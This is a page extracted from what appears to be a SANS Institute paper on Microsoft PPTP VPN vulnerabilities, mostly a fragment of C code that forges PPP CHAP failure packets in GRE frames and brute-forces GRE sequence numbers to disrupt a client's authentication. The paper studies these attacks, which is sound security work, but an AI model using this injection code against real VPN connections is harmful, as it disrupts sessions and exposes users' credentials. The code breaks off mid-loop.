Microsoft pptp vpn vulnerabilities Exploits in Action

© SANS Institute 2000 - 200
                                                5
, Author retains full rights.
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
5                                                                                                                 
Author retains full rights.
81
*
*     If a compressed frame is received when Address-and-Control-Field-
*     Compression has not been negotiated, the implementation MAY
*     silently discard the frame.
*/
pkt.ppp.address     = hton8(PPP_ADDRESS);
pkt.ppp.control     = hton8(PPP_CONTROL);
pkt.ppp.proto       = hton16(PPP_PROTO_CHAP);
pkt.chap.code       = hton8(PPP_CHAP_CODE_FAILURE);
pkt.chap.length     = hton16(4 + strlen(MSCHAP_ERROR));
strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR));
dst_addr.sin_family        = AF_INET;
dst_addr.sin_addr.s_addr   = ip->ip_src.s_addr;
dst_addr.sin_port   
= 0;
len += sizeof(struct ip) + sizeof(struct pptp_gre_header);
/* send it a few times, loosy network */
for (i=0; i < 3; i++)
{
if (PPTP_GRE_IS_A(gre->ver))
{
/* the packet we are responding to has an acknowledgement number  *
* we can use that to calculate or sequence number                */
pkt.gre.seq = hton32(ntoh32(gre->ack) + 1);
if (sendto(rsd, &pkt, len, 0, (struct sockaddr *)&dst_addr,
sizeof(dst_addr)) == -1)
fatal(NULL);
  }
else
{
/* 
* The last packet did not have an acknowledgement number so we
* have no idea the sequence number should be, but since authentication
* is negociated at the begining of the connection and the GRE
* implementation starts counting at zero we can brute force it.
*/
int x;
for (x=0; x < 10; x++)
{
pkt.gre.seq = hton32(x);
if (sendto(rsd, &pkt, len, 0, (struct sockaddr *)&dst_addr,
sizeof(dst_addr)) == -1)
fatal(NULL);
}
0

---